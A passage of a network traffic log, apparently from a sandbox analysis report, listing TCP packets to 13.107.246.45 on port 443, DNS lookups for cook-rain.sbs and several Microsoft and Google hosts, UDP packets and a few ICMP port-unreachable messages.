Nov 20, 2024 03:22:17.160969973 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.162499905 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.162574053 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.162657022 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.162751913 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.162780046 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.178757906 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.178788900 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.178807974 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.178854942 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.178873062 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.178905964 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.178931952 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.204335928 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.204400063 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.204482079 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.204516888 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.204585075 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.204699039 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.204699039 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.204742908 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.204756021 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.206635952 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.206671000 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.206728935 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.206813097 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.206824064 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.227369070 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.227390051 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.263309002 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.263387918 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.263417959 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.263449907 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.263505936 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.263506889 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.263539076 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.263550043 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.265228033 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.265326023 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.265414000 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.265520096 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.265552998 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.608963013 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.609749079 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.609790087 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.610085011 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.610096931 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.716434002 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.716473103 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.716491938 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.716675997 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.716713905 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.716782093 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.749763012 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.750514984 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.750576019 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.750868082 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.750880003 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.798341036 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.799496889 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.799496889 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.799530029 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.799549103 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.807404041 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.807478905 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.807508945 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.807511091 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.807543993 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.807565928 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.807678938 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.807703972 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.807718992 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.807725906 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.810549974 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.810584068 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.810791016 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.810791016 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.810821056 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.847441912 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.848198891 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.848222017 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.848417044 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.848421097 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.854712963 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.854734898 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.854806900 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.854890108 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.854970932 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.854989052 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.855035067 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.855065107 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.855065107 CET	50091	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.855086088 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.855103970 CET	443	50091	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.857547045 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.857630014 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.857731104 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.857882023 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.857914925 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904087067 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904113054 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904180050 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904292107 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.904292107 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.904397011 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.904397011 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.904438972 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904468060 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.904839993 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.905323982 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.905411005 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.905607939 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.905622959 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.906738043 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.906810045 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.906908989 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.907018900 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.907051086 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.946368933 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.946504116 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.946568012 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.946608067 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.946608067 CET	50092	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.946626902 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.946634054 CET	443	50092	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.948651075 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.948719025 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.948822975 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.948944092 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.948973894 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.004045963 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.004187107 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.004251957 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.026787996 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.026844978 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.026880980 CET	50093	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.026899099 CET	443	50093	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.030426979 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.030508995 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.030564070 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.030816078 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.030838013 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.473387957 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.473870039 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.473885059 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.474195957 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.474205017 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.498574972 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.498950958 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.499017000 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.499335051 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.499350071 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.574531078 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.575000048 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.575041056 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.575422049 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.575431108 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.577085972 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.577244997 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.577385902 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.580019951 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.580039024 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.580086946 CET	50094	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.580094099 CET	443	50094	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.583394051 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.583457947 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.583519936 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.583641052 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.583652973 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.597901106 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.599462986 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.599730968 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.599796057 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.610344887 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.610373974 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.643327951 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.643352985 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.643596888 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.643596888 CET	50095	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.643642902 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.643662930 CET	443	50095	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.648503065 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.648539066 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.648590088 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.648976088 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.648988962 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.679656982 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.680223942 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.680285931 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.680286884 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.680447102 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.681479931 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.720937014 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.720967054 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.720980883 CET	50096	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.720988035 CET	443	50096	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.735827923 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.744556904 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.744853973 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.744910002 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.789072037 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.789087057 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.792121887 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.792129993 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.794806957 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.794806957 CET	50097	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.794883013 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.794915915 CET	443	50097	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.890805960 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.890950918 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.891047001 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.891206980 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.891206980 CET	50098	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:18.891225100 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:18.891237020 CET	443	50098	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.229957104 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.230447054 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.230504036 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.230921030 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.230935097 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.309962034 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.310326099 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.310409069 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.310664892 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.310678959 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.333199024 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.333338022 CET	443	50099	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.333592892 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.333592892 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.333592892 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.420593977 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.420650005 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.420696974 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.420861006 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.420891047 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.420907974 CET	50100	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.420913935 CET	443	50100	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:19.642103910 CET	50099	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:19.642148972 CET	443	50099	13.107.246.45	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 03:20:35.219825029 CET	60793	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:20:35.258085012 CET	53	60793	1.1.1.1	192.168.2.8
Nov 20, 2024 03:20:59.053123951 CET	53	51413	1.1.1.1	192.168.2.8
Nov 20, 2024 03:20:59.099087954 CET	53	61458	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:00.155287981 CET	53	63670	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:00.697877884 CET	138	138	192.168.2.8	192.168.2.255
Nov 20, 2024 03:21:01.993910074 CET	56670	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:01.994307041 CET	64368	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:03.644514084 CET	58026	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:03.644726038 CET	53837	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:03.651416063 CET	53	58026	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:03.651456118 CET	53	53837	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:04.261609077 CET	49735	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:04.261754036 CET	55509	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:05.524043083 CET	52047	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:05.524238110 CET	55825	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:21:08.903188944 CET	53	63833	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:17.352941036 CET	53	56619	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:36.134903908 CET	53	49956	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:58.916776896 CET	53	50032	1.1.1.1	192.168.2.8
Nov 20, 2024 03:21:59.228228092 CET	53	53580	1.1.1.1	192.168.2.8
Nov 20, 2024 03:22:02.002959967 CET	56578	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:22:02.003087044 CET	53695	53	192.168.2.8	1.1.1.1
Nov 20, 2024 03:22:26.620359898 CET	53	50146	1.1.1.1	192.168.2.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 03:21:00.304361105 CET	192.168.2.8	1.1.1.1	c2e7	(Port unreachable)	Destination Unreachable
Nov 20, 2024 03:21:02.014277935 CET	192.168.2.8	1.1.1.1	c279	(Port unreachable)	Destination Unreachable
Nov 20, 2024 03:21:04.299844980 CET	192.168.2.8	1.1.1.1	c2b8	(Port unreachable)	Destination Unreachable
Nov 20, 2024 03:21:05.565625906 CET	192.168.2.8	1.1.1.1	c2e7	(Port unreachable)	Destination Unreachable
Nov 20, 2024 03:21:11.641386986 CET	192.168.2.8	1.1.1.1	c268	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 03:20:35.219825029 CET	192.168.2.8	1.1.1.1	0xae1	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:01.993910074 CET	192.168.2.8	1.1.1.1	0x88fa	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:01.994307041 CET	192.168.2.8	1.1.1.1	0x7a96	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 03:21:03.644514084 CET	192.168.2.8	1.1.1.1	0xb0b9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:03.644726038 CET	192.168.2.8	1.1.1.1	0x5178	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 03:21:04.261609077 CET	192.168.2.8	1.1.1.1	0x86bc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:04.261754036 CET	192.168.2.8	1.1.1.1	0xa158	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 03:21:05.524043083 CET	192.168.2.8	1.1.1.1	0x841b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:05.524238110 CET	192.168.2.8	1.1.1.1	0x4fbf	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 03:22:02.002959967 CET	192.168.2.8	1.1.1.1	0x5aea	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:22:02.003087044 CET	192.168.2.8	1.1.1.1	0xb087	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 03:20:35.258085012 CET	1.1.1.1	192.168.2.8	0xae1	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:20:35.258085012 CET	1.1.1.1	192.168.2.8	0xae1	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:02.001866102 CET	1.1.1.1	192.168.2.8	0x88fa	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:02.014219046 CET	1.1.1.1	192.168.2.8	0x7a96	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:03.651416063 CET	1.1.1.1	192.168.2.8	0xb0b9	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:03.651456118 CET	1.1.1.1	192.168.2.8	0x5178	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 03:21:04.266813040 CET	1.1.1.1	192.168.2.8	0x60d3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.266813040 CET	1.1.1.1	192.168.2.8	0x60d3	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.266813040 CET	1.1.1.1	192.168.2.8	0x60d3	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:04.268930912 CET	1.1.1.1	192.168.2.8	0x86bc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.268930912 CET	1.1.1.1	192.168.2.8	0x86bc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.268930912 CET	1.1.1.1	192.168.2.8	0x86bc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.268930912 CET	1.1.1.1	192.168.2.8	0x86bc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 03:21:04.298564911 CET	1.1.1.1	192.168.2.8	0x3ad2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.307610989 CET	1.1.1.1	192.168.2.8	0xa158	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:04.307610989 CET	1.1.1.1	192.168.2.8	0xa158	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.506728888 CET	1.1.1.1	192.168.2.8	0xfd58	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.506728888 CET	1.1.1.1	192.168.2.8	0xfd58	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 03:21:05.506728888 CET	1.1.1.1	192.168.2.8	0xfd58	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
